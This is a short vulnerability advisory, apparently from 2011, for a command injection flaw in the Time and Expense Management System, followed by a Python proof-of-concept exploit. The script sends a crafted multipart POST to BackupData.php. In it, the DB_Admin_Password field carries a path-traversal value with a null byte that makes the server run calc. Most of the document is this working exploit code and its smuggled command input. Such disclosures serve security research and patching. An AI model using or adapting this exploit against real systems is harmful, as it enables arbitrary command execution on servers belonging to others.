# ------------------------------------------------------------------------ # Software................Time and Expense Management System # Vulnerability...........Command Injection # Threat Level............Very Critical (5/5) # Download................http://sourceforge.net/projects/tems/ # Discovery Date..........4/27/2011 # Tested On...............Windows Vista + XAMPP # ------------------------------------------------------------------------ # Author..................AutoSec Tools # Site....................http://www.autosectools.com/ # Email...................John Leitch # ------------------------------------------------------------------------ # # # --Description-- # # A command injection vulnerability in Time and Expense Management # System can be exploited to execute arbitrary operating system commands. # # # --PoC-- import socket host = 'localhost' path = '/tems' port = 80 def run_command(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.settimeout(8) body = '------x\r\n'\ 'Content-Disposition: form-data; name="toFile"\r\n'\ '\r\n'\ './a\r\n'\ '------x\r\n'\ 'Content-Disposition: form-data; name="DB_Admin_id"\r\n'\ '\r\n'\ 'a\r\n'\ '------x\r\n'\ 'Content-Disposition: form-data; name="DB_Admin_Password"\r\n'\ '\r\n'\ '../../../../../../../calc\x00a\r\n'\ '------x--\r\n'\ '\r\n' s.send('POST %s/systemadmin/BackupData.php HTTP/1.1\r\n' 'Host: localhost\r\n' 'Proxy-Connection: keep-alive\r\n' 'User-Agent: x\r\n' 'Content-Length: %d\r\n' 'Cache-Control: max-age=0\r\n' 'Origin: null\r\n' 'Content-Type: multipart/form-data; boundary=----x\r\n' 'Accept: text/html\r\n' 'Accept-Language: en-US,en;q=0.8\r\n' 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n' '\r\n%s' % (path, len(body), body)) print 'request sent, check for calc using the task manger' run_command()